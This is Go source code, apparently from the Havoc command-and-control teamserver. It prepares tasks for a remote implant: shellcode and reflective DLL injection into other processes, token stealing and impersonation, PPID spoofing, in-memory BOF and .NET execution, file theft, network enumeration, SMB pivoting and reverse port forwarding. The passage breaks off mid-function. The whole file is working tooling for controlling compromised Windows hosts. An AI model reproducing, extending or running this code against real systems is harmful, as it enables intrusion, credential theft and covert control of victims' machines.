package agent
import (
"bytes"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"math/rand"
"net"
"os"
"strconv"
"strings"
"time"
"Havoc/pkg/common"
"Havoc/pkg/common/parser"
"Havoc/pkg/logger"
"Havoc/pkg/logr"
"Havoc/pkg/socks"
"Havoc/pkg/utils"
"Havoc/pkg/win32"
"github.com/olekukonko/tablewriter"
)
// we upload heavy files to the implant in chunks, so SMB agents can handle the size
func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 {
var ID uint32
var chunkSize = DEMON_MAX_RESPONSE_LENGTH
// generate a random ID
ID = rand.Uint32()
FileSize := len(FileData)
// split the file in chunks of DEMON_MAX_RESPONSE_LENGTH
for start := 0; start <= FileSize; start += chunkSize {
end := start + chunkSize
// necessary check to avoid slicing beyond FileData capacity
if end > FileSize {
end = FileSize
}
MemFileJob := Job{
Command: COMMAND_MEM_FILE,
RequestID: rand.Uint32(),
Data: []any{
ID,
uint64(FileSize),
FileData[start:end],
},
}
a.AddJobToQueue(MemFileJob)
}
return ID
}
func (a *Agent) TeamserverTaskPrepare(Command string, Console func(AgentID string, Message map[string]string)) error {
var Commands = strings.Split(Command, "::")
switch Commands[0] {
case "task":
if len(Commands) > 1 {
switch Commands[1] {
case "list":
if len(a.JobQueue) > 0 {
var ListTable string
ListTable += "\n"
ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", "Task ID", "Created", "Size", "Command")
ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", "-------", "-------", "----", "-------")
for _, task := range a.JobQueue {
var (
Payload = BuildPayloadMessage([]Job{task}, a.Encryption.AESKey, a.Encryption.AESIv)
Size = common.ByteCountSI(int64(len(Payload)))
)
ListTable += fmt.Sprintf(" %-8s %-19s %-8s %s\n", task.TaskID, task.Created, Size, task.CommandLine)
}
Console(a.NameID, map[string]string{
"Type": "Info",
"Message": "List task queue:",
"Output": ListTable,
})
} else {
Console(a.NameID, map[string]string{
"Type": "Error",
"Message": "No jobs in task queue",
})
}
break
case "clear":
if len(a.JobQueue) > 0 {
var Jobs = len(a.JobQueue)
a.JobQueue = nil
Console(a.NameID, map[string]string{
"Type": "Good",
"Message": fmt.Sprintf("Cleared task queue [%v]", Jobs),
})
} else {
Console(a.NameID, map[string]string{
"Type": "Error",
"Message": "No jobs in task queue",
})
}
break
}
}
break
}
return nil
}
func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, ClientID string, teamserver TeamServer) (*Job, error) {
var (
job = &Job{
Command: uint32(Command),
RequestID: rand.Uint32(),
Data: []interface{}{},
Created: time.Now().UTC().Format("02/01/2006 15:04:05"),
}
err error
)
Optional := Info.(map[string]interface{})
if val, ok := Optional["CommandLine"]; ok {
job.CommandLine = val.(string)
}
if val, ok := Optional["TaskID"]; ok {
job.TaskID = val.(string)
RequestID, err := strconv.ParseInt(job.TaskID, 16, 64)
if err == nil {
job.RequestID = uint32(RequestID)
}
}
switch Command {
case COMMAND_EXIT:
if val, ok := Optional["ExitMethod"].(string); ok {
var Exit int = 0
if val == "thread" {
Exit = 1
} else if val == "process" {
Exit = 2
}
job.Data = []interface{}{
Exit,
}
} else {
return nil, errors.New("ExitMethod not found")
}
break
case COMMAND_CHECKIN:
break
case COMMAND_SLEEP:
var (
Delay int
Jitter int
err error
ArgArray []string
)
ArgArray = strings.Split(Optional["Arguments"].(string), ";")
Delay, err = strconv.Atoi(ArgArray[0])
if err != nil {
return nil, err
}
Jitter, err = strconv.Atoi(ArgArray[1])
if err != nil {
return nil, err
}
job.Data = []interface{}{
Delay,
Jitter,
}
case COMMAND_FS:
var (
Arguments = Optional["Arguments"].(string)
SubCommand = 0
)
switch Optional["SubCommand"].(string) {
case "dir":
SubCommand = 1
var (
SubDirs int
FilesOnly int
DirsOnly int
ListOnly int
)
ArgArray := strings.Split(Arguments, ";")
Path := ArgArray[0]
Starts := ArgArray[5];
Contains := ArgArray[6];
Ends := ArgArray[7];
if ArgArray[1] == "true" {
SubDirs = win32.TRUE
} else {
SubDirs = win32.FALSE
}
if ArgArray[2] == "true" {
FilesOnly = win32.TRUE
} else {
FilesOnly = win32.FALSE
}
if ArgArray[3] == "true" {
DirsOnly = win32.TRUE
} else {
DirsOnly = win32.FALSE
}
if ArgArray[4] == "true" {
ListOnly = win32.TRUE
} else {
ListOnly = win32.FALSE
}
// go from \\server\share to \\server\share\
if strings.HasPrefix(Path, "\\\\") {
uncIndex := strings.Index(Path[2:], "\\")
if uncIndex != -1 && strings.Index(Path[uncIndex+3:], "\\") == -1 {
Path += "\\"
}
}
// If the file ends in \ or is a drive (C:), throw a * on there
if strings.HasSuffix(Path, "\\") {
Path += "*"
} else if strings.HasSuffix(Path, ":") {
Path += "\\*"
}
job.Data = []interface{}{
SubCommand,
win32.FALSE,
common.EncodeUTF16(Path),
SubDirs,
FilesOnly,
DirsOnly,
ListOnly,
common.EncodeUTF16(Starts),
common.EncodeUTF16(Contains),
common.EncodeUTF16(Ends),
}
break
case "dir;ui":
SubCommand = 1
// go from \\server\share to \\server\share\
if strings.HasPrefix(Arguments, "\\\\") {
uncIndex := strings.Index(Arguments[2:], "\\")
if uncIndex != -1 && strings.Index(Arguments[uncIndex+3:], "\\") == -1 {
Arguments += "\\"
}
}
// If the file ends in \ or is a drive (C:), throw a * on there
if strings.HasSuffix(Arguments, "\\") {
Arguments += "*"
} else if strings.HasSuffix(Arguments, ":") {
Arguments += "\\*"
}
job.Data = []interface{}{
SubCommand,
win32.TRUE,
common.EncodeUTF16(Arguments),
win32.FALSE,
win32.FALSE,
win32.FALSE,
win32.FALSE,
common.EncodeUTF16(""),
common.EncodeUTF16(""),
common.EncodeUTF16(""),
}
break
case "download":
SubCommand = 2
var (
FileName []byte
ArgArray []string
)
ArgArray = strings.Split(Arguments, ";")
if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {
FileName = []byte(common.EncodeUTF16(string(val)))
} else {
return nil, err
}
job.Data = []interface{}{
SubCommand,
FileName,
}
break
case "upload":
var (
FileName []byte
Content []byte
ArgArray []string
MemFileId uint32
)
ArgArray = strings.Split(Arguments, ";")
if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {
FileName = append([]byte(common.EncodeUTF16(string(val))), []byte{0, 0}...)
} else {
return nil, err
}
if val, err := base64.StdEncoding.DecodeString(ArgArray[1]); err == nil {
Content = val
} else {
return nil, err
}
MemFileId = a.UploadMemFileInChunks(Content)
SubCommand = 3
job.Data = []interface{}{
SubCommand,
FileName,
MemFileId,
}
break
case "cd":
SubCommand = 4
job.Data = []interface{}{
SubCommand,
common.EncodeUTF16(Arguments),
}
break
case "remove":
SubCommand = 5
job.Data = []interface{}{
SubCommand,
common.EncodeUTF16(Arguments),
}
break
case "mkdir":
SubCommand = 6
job.Data = []interface{}{
SubCommand,
common.EncodeUTF16(Arguments),
}
break
case "cp":
SubCommand = 7
var Paths = strings.Split(Arguments, ";")
if len(Paths) >= 2 {
var (
PathFrom []byte
PathTo []byte
)
if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil {
PathFrom = []byte(common.EncodeUTF16(string(val)))
} else {
return nil, err
}
if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil {
PathTo = []byte(common.EncodeUTF16(string(val)))
} else {
return nil, err
}
job.Data = []interface{}{
SubCommand,
PathFrom,
PathTo,
}
}
break
case "mv":
SubCommand = 8
var Paths = strings.Split(Arguments, ";")
if len(Paths) >= 2 {
var (
PathFrom []byte
PathTo []byte
)
if val, err := base64.StdEncoding.DecodeString(Paths[0]); err == nil {
PathFrom = []byte(common.EncodeUTF16(string(val)))
} else {
return nil, err
}
if val, err := base64.StdEncoding.DecodeString(Paths[1]); err == nil {
PathTo = []byte(common.EncodeUTF16(string(val)))
} else {
return nil, err
}
job.Data = []interface{}{
SubCommand,
PathFrom,
PathTo,
}
}
break
case "pwd":
SubCommand = 9
job.Data = []interface{}{
SubCommand,
}
break
case "cat":
SubCommand = 10
var (
FileName []byte
ArgArray []string
)
ArgArray = strings.Split(Arguments, ";")
if val, err := base64.StdEncoding.DecodeString(ArgArray[0]); err == nil {
FileName = []byte(common.EncodeUTF16(string(val)))
} else {
return nil, err
}
job.Data = []interface{}{
SubCommand,
FileName,
}
break
}
case COMMAND_PROC:
var (
SubCommand, _ = strconv.Atoi(Optional["ProcCommand"].(string))
Arguments = Optional["Args"].(string)
)
switch SubCommand {
case DEMON_COMMAND_PROC_MODULES:
var pid, _ = strconv.Atoi(Arguments)
job.Data = []interface{}{
SubCommand,
pid,
}
break
case DEMON_COMMAND_PROC_GREP:
job.Data = []interface{}{
SubCommand,
common.EncodeUTF16(Arguments),
}
break
case DEMON_COMMAND_PROC_CREATE:
var (
Args = strings.Split(Arguments, ";")
Process string
ProcessArgs string
ProcessState int
ProcessPiped int
ProcessVerbose int
)
// State, Verbose, Piped, ProcessApp, ProcessArg
ProcessState, err := strconv.Atoi(Args[0])
if err != nil {
logger.Error("")
}
ProcessVerbose = 0
if strings.ToLower(Args[1]) == "true" {
ProcessVerbose = 1
}
ProcessPiped = 0
if strings.ToLower(Args[2]) == "true" {
ProcessPiped = 1
}
Process = string(Args[3])
ProcArgs, _ := base64.StdEncoding.DecodeString(Args[4])
ProcessArgs = string(ProcArgs)
job.Data = []interface{}{
SubCommand,
ProcessState,
common.EncodeUTF16(Process),
common.EncodeUTF16(ProcessArgs),
ProcessPiped,
ProcessVerbose,
}
break
// TODO: is this used?
case 5:
var State = 0
if Optional["Args"] == "on" {
State = 1
}
job.Data = []interface{}{
SubCommand,
State,
}
break
case DEMON_COMMAND_PROC_MEMORY:
var (
Args = strings.Split(Arguments, " ")
QueryProtec int
)
var (
ProcID, _ = strconv.Atoi(Args[0])
)
switch Args[1] {
case "PAGE_NOACCESS":
QueryProtec = win32.PAGE_NOACCESS
case "PAGE_READONLY":
QueryProtec = win32.PAGE_READONLY
case "PAGE_READWRITE":
QueryProtec = win32.PAGE_READWRITE
case "PAGE_WRITECOPY":
QueryProtec = win32.PAGE_WRITECOPY
case "PAGE_EXECUTE":
QueryProtec = win32.PAGE_EXECUTE
case "PAGE_EXECUTE_READ":
QueryProtec = win32.PAGE_EXECUTE_READ
case "PAGE_EXECUTE_READWRITE":
QueryProtec = win32.PAGE_EXECUTE_READWRITE
case "PAGE_EXECUTE_WRITECOPY":
QueryProtec = win32.PAGE_EXECUTE_WRITECOPY
case "PAGE_GUARD":
QueryProtec = win32.PAGE_GUARD
}
job.Data = []interface{}{
SubCommand,
ProcID,
QueryProtec,
}
break
case DEMON_COMMAND_PROC_KILL:
var pid, err = strconv.Atoi(Arguments)
if err != nil {
logger.Debug("proc::kill failed to parse pid: " + err.Error())
return nil, errors.New("proc::kill failed to parse pid: " + err.Error())
} else {
job.Data = []interface{}{
SubCommand,
pid,
}
}
break
}
break
case COMMAND_PROC_LIST:
var (
ProcessUI = Optional["FromProcessManager"].(string)
Value = win32.FALSE
)
if ProcessUI == "true" {
Value = win32.TRUE
}
job.Data = []interface{}{
Value,
}
break
case COMMAND_PROC_PPIDSPOOF:
var PPIDSpoof, err = strconv.Atoi(Optional["PPID"].(string))
if err != nil {
logger.Error(err)
break
}
job.Data = []interface{}{
uint32(PPIDSpoof),
}
break
case COMMAND_INLINEEXECUTE:
var (
FunctionName string
ObjectFile []byte
Parameters []byte
Flags uint32
BofFileId uint32
ParamsFileId uint32
ok bool
)
if Arguments, ok := Optional["HasCallback"].(string); ok && Arguments == "true" {
// if there is a callback for this BOF, means that we need to
// store all the output and send it back to the python module
// instead of simply printing it on the console
var bofcallback = &BofCallback{
TaskID: job.RequestID,
Output: "",
Error: "",
ClientID: ClientID,
}
a.BofCallbacks = append(a.BofCallbacks, bofcallback)
}
if Arguments, ok := Optional["Arguments"].(string); ok {
if Parameters, err = base64.StdEncoding.DecodeString(Arguments); !ok {
return nil, errors.New("FunctionName not defined")
}
} else {
return nil, errors.New("CoffeeLdr: Arguments not defined")
}
if Binary, ok := Optional["Binary"].(string); ok {
if ObjectFile, err = base64.StdEncoding.DecodeString(Binary); err != nil {
logger.Debug("Failed to turn base64 encoded object file into bytes: " + err.Error())
return nil, err
}
}
BofFileId = a.UploadMemFileInChunks(ObjectFile)
// a BOF can have an entire PE in its parameters, so chunk them
ParamsFileId = a.UploadMemFileInChunks(Parameters)
if FunctionName, ok = Optional["FunctionName"].(string); !ok {
return nil, errors.New("CoffeeLdr: FunctionName not defined")
}
if ObjectFlags, ok := Optional["Flags"].(string); ok {
switch strings.ToLower(ObjectFlags) {
case "non-threaded":
Flags = COFFEELDR_FLAG_NON_THREADED
break
case "threaded":
Flags = COFFEELDR_FLAG_THREADED
break
case "default":
Flags = COFFEELDR_FLAG_DEFAULT
break
default:
Flags = 0
}
} else {
return nil, errors.New("CoffeeLdr: Flags not defined")
}
job.Data = []interface{}{
FunctionName,
BofFileId,
ParamsFileId,
Flags,
}
break
case COMMAND_ASSEMBLY_INLINE_EXECUTE:
var (
binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string))
arguments = common.EncodeUTF16(Optional["Arguments"].(string))
NetVersion = common.EncodeUTF16("v4.0.30319")
PipePath = common.EncodeUTF16(common.GeneratePipeName(teamserver.GetDotNetPipeTemplate(), a.Info.ProcessPID, a.Info.ProcessTID))
AppDomainName = common.EncodeUTF16("DefaultDomain")
MemFileId uint32
)
MemFileId = a.UploadMemFileInChunks(binaryDecoded)
job.Data = []interface{}{
PipePath,
AppDomainName,
NetVersion,
MemFileId,
arguments,
}
case COMMAND_ASSEMBLY_LIST_VERSIONS:
break
case COMMAND_SPAWNDLL:
var (
Binary, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string))
Args, _ = base64.StdEncoding.DecodeString(Optional["Arguments"].(string))
DllReflectiveLdrPath string
DllReflectiveLdr []byte
)
DllReflectiveLdrPath = utils.GetTeamserverPath() + "/payloads/DllLdr.x64.bin"
DllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath)
if err != nil {
return nil, errors.New("Couldn't read content of file: " + err.Error())
}
job.Data = []interface{}{
DllReflectiveLdr,
Binary,
Args,
}
break
case COMMAND_JOB:
var (
SubCommand int
JobID int
err error
)
if val, ok := Optional["Command"].(string); ok {
switch val {
case "list":
SubCommand = 0x1
break
case "suspend":
SubCommand = 0x2
break
case "resume":
SubCommand = 0x3
break
case "kill":
SubCommand = 0x4
break
}
}
if val, ok := Optional["Param"].(string); ok {
JobID, err = strconv.Atoi(val)
if err != nil {
return job, errors.New("couldn't convert JobID to int")
}
}
if SubCommand == 0x1 {
job.Data = []interface{}{
SubCommand,
}
} else {
job.Data = []interface{}{
SubCommand,
JobID,
}
}
break
case COMMAND_INJECT_DLL:
var (
binaryDecoded, _ = base64.StdEncoding.DecodeString(Optional["Binary"].(string))
TargetPID, _ = strconv.Atoi(Optional["PID"].(string))
Param, _ = Optional["Arguments"].(string)
InjectMethode int
DllReflectiveLdr []byte
DllReflectiveLdrPath string
)
DllReflectiveLdrPath = utils.GetTeamserverPath() + "/payloads/DllLdr.x64.bin"
DllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath)
if err != nil {
return nil, errors.New("Couldn't read content of file: " + err.Error())
}
job.Data = []interface{}{
InjectMethode, // Injection technique syscall
TargetPID,
DllReflectiveLdr,
binaryDecoded,
Param,
}
break
case COMMAND_INJECT_SHELLCODE:
var (
x64 int
Technique int
Argument []byte
)
if val, ok := Optional["Way"]; ok {
if val.(string) == "Inject" {
Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string))
if err != nil {
return job, err
}
if _, ok := Optional["Argument"]; ok {
args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string))
if err != nil {
return job, err
}
if len(args) > 0 {
Argument = args
}
}
TargetPid, err := strconv.Atoi(Optional["PID"].(string))
if err != nil {
return job, err
}
switch strings.ToLower(Optional["Technique"].(string)) {
case "default":
Technique = THREAD_METHOD_DEFAULT
break
case "createremotethread":
Technique = THREAD_METHOD_CREATEREMOTETHREAD
break
case "ntcreatethreadex":
Technique = THREAD_METHOD_NTCREATEHREADEX
break
case "ntqueueapcthread":
Technique = THREAD_METHOD_NTQUEUEAPCTHREAD
break
default:
return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string))
}
x64 = win32.FALSE
if Optional["Arch"] == "x64" {
x64 = win32.TRUE
}
job.Data = []interface{}{
INJECT_WAY_INJECT,
Technique,
x64,
Binary,
Argument,
TargetPid,
}
} else if val.(string) == "Spawn" {
Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string))
if err != nil {
return job, err
}
if _, ok := Optional["Argument"]; ok {
args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string))
if err != nil {
return job, err
}
if len(args) > 0 {
Argument = args
}
}
switch strings.ToLower(Optional["Technique"].(string)) {
case "default":
Technique = THREAD_METHOD_DEFAULT
break
case "createremotethread":
Technique = THREAD_METHOD_CREATEREMOTETHREAD
break
case "ntcreatethreadex":
Technique = THREAD_METHOD_NTCREATEHREADEX
break
case "ntqueueapcthread":
Technique = THREAD_METHOD_NTQUEUEAPCTHREAD
break
default:
return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string))
}
x64 = win32.FALSE
if Optional["Arch"] == "x64" {
x64 = win32.TRUE
}
job.Data = []interface{}{
INJECT_WAY_SPAWN,
Technique,
x64,
Binary,
Argument,
}
} else if val.(string) == "Execute" {
Binary, err := base64.StdEncoding.DecodeString(Optional["Binary"].(string))
if err != nil {
return job, err
}
if _, ok := Optional["Argument"]; ok {
args, err := base64.StdEncoding.DecodeString(Optional["Argument"].(string))
if err != nil {
return job, err
}
if len(args) > 0 {
Argument = args
}
}
switch strings.ToLower(Optional["Technique"].(string)) {
case "default":
Technique = THREAD_METHOD_DEFAULT
break
case "createremotethread":
Technique = THREAD_METHOD_CREATEREMOTETHREAD
break
case "ntcreatethreadex":
Technique = THREAD_METHOD_NTCREATEHREADEX
break
case "ntqueueapcthread":
Technique = THREAD_METHOD_NTQUEUEAPCTHREAD
break
default:
return job, fmt.Errorf("technique \"%v\"", Optional["Technique"].(string))
}
x64 = win32.FALSE
if Optional["Arch"] == "x64" {
x64 = win32.TRUE
}
job.Data = []interface{}{
INJECT_WAY_EXECUTE,
Technique,
x64,
Binary,
Argument,
}
} else {
return job, errors.New("couldn't identify if injection or spawn is specified")
}
} else {
return job, errors.New("inject option not specified")
}
break
case COMMAND_TOKEN:
var (
SubCommand int
Arguments any
err error
)
if val, ok := Optional["SubCommand"].(string); ok {
switch val {
case "impersonate":
SubCommand = 0x1
if val, ok := Optional["Arguments"].(string); ok {
Arguments, err = strconv.Atoi(val)
if err != nil {
return job, errors.New("Failed to convert TokenID to int: " + err.Error())
}
job.Data = []interface{}{
SubCommand,
Arguments.(int),
}
} else {
return job, errors.New("token arguments not found")
}
break
case "steal":
SubCommand = 0x2
if val, ok := Optional["Arguments"].(string); ok {
var (
PID int
Handle int64
ArrayData []string
)
ArrayData = strings.Split(val, ";")
PID, err = strconv.Atoi(ArrayData[0])
if err != nil {
return job, errors.New("Failed to convert PID to int: " + err.Error())
}
Handle, err = strconv.ParseInt(ArrayData[1], 16, 64)
if err != nil {
return job, errors.New("Failed to convert Handle to int: " + err.Error())
}
job.Data = []interface{}{
SubCommand,
PID,
int(Handle),
}
} else {
return job, errors.New("token arguments not found")
}
break
case "list":
SubCommand = 0x3
job.Data = []interface{}{
SubCommand,
}
break
case "privs-list":
SubCommand = 0x4
job.Data = []interface{}{
SubCommand,
win32.TRUE,
}
break
case "privs-get":
SubCommand = 0x4
if PrivName, ok := Optional["Arguments"].(string); ok {
job.Data = []interface{}{
SubCommand,
win32.FALSE,
PrivName,
}
} else {
return job, errors.New("token arguments not found")
}
break
case "make":
SubCommand = 0x5
if val, ok = Optional["Arguments"].(string); ok {
var (
Domain string
User string
Password string
LogonType int
ArrayData []string
)
ArrayData = strings.Split(val, ";")
if val, err := base64.StdEncoding.DecodeString(ArrayData[0]); err != nil {
return job, errors.New("Failed to decode Domain: " + err.Error())
} else {
Domain = string(val)
}
if val, err := base64.StdEncoding.DecodeString(ArrayData[1]); err != nil {
return job, errors.New("Failed to decode User: " + err.Error())
} else {
User = string(val)
}
if val, err := base64.StdEncoding.DecodeString(ArrayData[2]); err != nil {
return job, errors.New("Failed to decode Password: " + err.Error())
} else {
Password = string(val)
}
LogonType, err = strconv.Atoi(ArrayData[3])
if err != nil {
return job, errors.New("Failed to convert LogonType to int: " + err.Error())
}
job.Data = []interface{}{
SubCommand,
common.EncodeUTF16(Domain),
common.EncodeUTF16(User),
common.EncodeUTF16(Password),
LogonType,
}
logger.Debug(job.Data)
} else {
return job, errors.New("token arguments not found")
}
break
case "getuid":
SubCommand = 0x6
job.Data = []interface{}{
SubCommand,
}
break
case "revert":
SubCommand = 0x7
job.Data = []interface{}{
SubCommand,
}
break
case "remove":
SubCommand = 0x8
if val, ok := Optional["Arguments"].(string); ok {
Arguments, err = strconv.Atoi(val)
if err != nil {
return job, errors.New("Failed to convert TokenID to int: " + err.Error())
}
job.Data = []interface{}{
SubCommand,
Arguments.(int),
}
} else {
return job, errors.New("token arguments not found")
}
break
case "clear":
SubCommand = 0x9
job.Data = []interface{}{
SubCommand,
}
break
case "find":
SubCommand = 0xa
job.Data = []interface{}{
SubCommand,
}
break
}
}
break
case COMMAND_CONFIG:
var (
ConfigKey = Optional["ConfigKey"]
ConfigVal = Optional["ConfigVal"]
ConfigId int
Value any
)
switch ConfigKey {
case "implant.verbose":
ConfigId = CONFIG_IMPLANT_VERBOSE
if ConfigVal == "true" {
Value = 1
} else {
Value = 0
}
break
case "implant.sleep-obf.start-addr":
ConfigId = CONFIG_IMPLANT_SPFTHREADSTART
var (
Library = strings.Split(ConfigVal.(string), "!")[0]
Function = strings.Split(ConfigVal.(string), "!")[1]
OffsetStr = strings.Split(ConfigVal.(string), "+")[1]
)
OffsetStr = strings.Replace(OffsetStr, "0x", "", -1)
Offset, err := strconv.ParseInt(OffsetStr, 16, 64)
if err != nil {
logger.Error("Failed to convert hex string to int: " + err.Error())
}
Function = strings.Split(Function, "+")[0]
job.Data = []interface{}{
ConfigId,
Library,
Function,
Offset,
}
break
case "implant.sleep-obf.technique":
ConfigId = CONFIG_IMPLANT_SLEEP_TECHNIQUE
var Num, err = strconv.Atoi(ConfigVal.(string))
if err != nil {
logger.Error("Failed to convert string to num: " + err.Error())
}
job.Data = []interface{}{
ConfigId,
Num,
}
case "implant.coffee.veh":
ConfigId = CONFIG_IMPLANT_COFFEE_VEH
if ConfigVal == "true" {
Value = 1
} else {
Value = 0
}
break
case "implant.coffee.threaded":
ConfigId = CONFIG_IMPLANT_COFFEE_THREADED
if ConfigVal == "true" {
Value = 1
} else {
Value = 0
}
break
case "memory.alloc":
ConfigId = CONFIG_MEMORY_ALLOC
Value, _ = strconv.Atoi(ConfigVal.(string))
break
case "memory.execute":
ConfigId = CONFIG_MEMORY_EXECUTE
Value, _ = strconv.Atoi(ConfigVal.(string))
break
case "inject.technique":
ConfigId = CONFIG_INJECT_TECHNIQUE
Value, _ = strconv.Atoi(ConfigVal.(string))
break
case "inject.spoofaddr":
ConfigId = CONFIG_INJECT_SPOOFADDR
var (
Library = strings.Split(ConfigVal.(string), "!")[0]
Function = strings.Split(ConfigVal.(string), "!")[1]
OffsetStr = strings.Split(ConfigVal.(string), "+")[1]
)
OffsetStr = strings.Replace(OffsetStr, "0x", "", -1)
Offset, err := strconv.ParseInt(OffsetStr, 16, 64)
if err != nil {
logger.Error("Failed to convert hex string to int: " + err.Error())
}
Function = strings.Split(Function, "+")[0]
job.Data = []interface{}{
ConfigId,
Library,
Function,
Offset,
}
break
case "inject.spawn64":
ConfigId = CONFIG_INJECT_SPAWN64
Value = common.EncodeUTF16(ConfigVal.(string))
break
case "inject.spawn32":
ConfigId = CONFIG_INJECT_SPAWN32
Value = common.EncodeUTF16(ConfigVal.(string))
break
case "killdate":
ConfigId = CONFIG_KILLDATE
var (
KillDate int64
)
if ConfigVal.(string) != "0" {
t, err := time.Parse("2006-01-02 15:04:05", ConfigVal.(string))
if err != nil {
logger.Error("Failed to parse the kill date: " + err.Error())
return nil, errors.New("Invalid date format, use: 2006-01-02 15:04:05")
} else {
KillDate = t.Unix()
if KillDate < time.Now().Unix() {
return nil, errors.New("The date can't be in the past")
}
KillDate = common.EpochTimeToSystemTime(KillDate)
}
} else {
KillDate = 0
}
logger.Debug(fmt.Sprintf("KillDate: %d", KillDate))
job.Data = []interface{}{
ConfigId,
KillDate,
}
break
case "workinghours":
ConfigId = CONFIG_WORKINGHOURS
var (
WorkingHours int32
)
if ConfigVal.(string) != "0" {
WorkingHours, err = common.ParseWorkingHours(ConfigVal.(string))
if err != nil {
return nil, err
}
} else {
WorkingHours = 0
}
logger.Debug(fmt.Sprintf("WorkingHours: %d", WorkingHours))
job.Data = []interface{}{
ConfigId,
WorkingHours,
}
break
}
if len(job.Data) == 0 {
job.Data = []interface{}{
ConfigId,
Value,
}
}
break
case COMMAND_SCREENSHOT:
break
case COMMAND_NET:
var (
NetCommand int
Param string
)
if val, ok := Optional["NetCommand"]; ok {
NetCommand, err = strconv.Atoi(val.(string))
if err != nil {
logger.Debug("Failed to parse net command: " + err.Error())
return nil, err
}
} else {
return nil, errors.New("command::net NetCommand not defined")
}
if val, ok := Optional["Param"]; ok {
Param = val.(string)
} else {
return nil, errors.New("command::net param not defined")
}
switch NetCommand {
case DEMON_NET_COMMAND_DOMAIN:
job.Data = []interface{}{
NetCommand,
}
break
case DEMON_NET_COMMAND_LOGONS:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_SESSIONS:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_COMPUTER:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_DCLIST:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_SHARE:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_LOCALGROUP:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_GROUP:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
case DEMON_NET_COMMAND_USERS:
var Target = common.EncodeUTF16(Param)
job.Data = []interface{}{
NetCommand,
Target,
}
break
default:
}
break
case COMMAND_PIVOT:
var (
PivotCommand int
Param string
)
if val, ok := Optional["Param"]; ok {
Param = val.(string)
}
if val, ok := Optional["Command"]; ok {
if val, err := strconv.Atoi(val.(string)); err != nil {
logger.Debug("failed to convert pivot command to int: " + err.Error())
return nil, errors.New("failed to convert pivot command to int: " + err.Error())
} else {
PivotCommand = val
}
}
switch PivotCommand {
case DEMON_PIVOT_LIST:
job.Data = []interface{}{
PivotCommand,
}
case DEMON_PIVOT_SMB_CONNECT:
job.Data = []interface{}{
PivotCommand,
common.EncodeUTF16(Param),
}
break
case DEMON_PIVOT_SMB_DISCONNECT:
var AgentID, err = strconv.ParseInt(Param, 16, 32)
if err != nil {
return nil, err
}
job.Data = []interface{}{
PivotCommand,
AgentID,
}
break
case DEMON_PIVOT_SMB_COMMAND:
job.Data = []interface{}{
PivotCommand,
}
break
}
break
case COMMAND_TRANSFER:
var (
SubCommand string
Param string
FileID int64
)
if val, ok := Optional["Command"]; ok {
SubCommand = val.(string)
} else {
return job, errors.New("transfer field Command is empty.")
}
if val, ok := Optional["FileID"]; ok {
Param = val.(string)
} else {
return job, errors.New("transfer field FileID is empty.")
}
switch SubCommand {
case "list":
job.Data = []interface{}{
0x0,
}
break
case "stop":
FileID, err = strconv.ParseInt(Param, 16, 32)
if err != nil {
return nil, err
}
job.Data = []interface{}{
0x1,
FileID,
}
break
case "resume":
FileID, err = strconv.ParseInt(Param, 16, 32)
if err != nil {
return nil, err
}
job.Data = []interface{}{
0x2,
FileID,
}
break
case "remove":
FileID, err = strconv.ParseInt(Param, 16, 32)
if err != nil {
return nil, err
}
job.Data = []interface{}{
0x3,
FileID,
}
break
}
break
case COMMAND_SOCKET:
var (
SubCommand string
Param string
)
if val, ok := Optional["Command"]; ok {
SubCommand = val.(string)
} else {
return job, errors.New("socket field Command is empty")
}
if val, ok := Optional["Params"]; ok {
Param = val.(string)
} else {
return job, errors.New("socket field param is empty")
}
switch SubCommand {
case "rportfwd add":
var (
Params []string
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
)
/* LclAddr; LclPort; FwdAddr; FwdPort */
Params = strings.Split(Param, ";")
if len(Param) < 4 {
return nil, fmt.Errorf("rportfwd requires 4 arguments, received %d", len(Params))
}
/* Parse local host & port arguments */
LclAddr, err = common.IpStringToInt32(Params[0])
if err != nil {
return nil, err
}
LclPort, err = strconv.Atoi(Params[1])
if err != nil {
return nil, err
}
/* Parse forward host & port arguments */
FwdAddr, err = common.IpStringToInt32(Params[2])
if err != nil {
return nil, err
}
FwdPort, err = strconv.Atoi(Params[3])
if err != nil {
return nil, err
}
job.Data = []interface{}{
SOCKET_COMMAND_RPORTFWD_ADD,
LclAddr,
LclPort,
FwdAddr,
FwdPort,
}
break
case "rportfwd list":
job.Data = []interface{}{
SOCKET_COMMAND_RPORTFWD_LIST,
}
break
case "rportfwd remove":
var SocketID int64
SocketID, err = strconv.ParseInt(Param, 16, 32)
if err != nil {
return nil, err
}
job.Data = []interface{}{
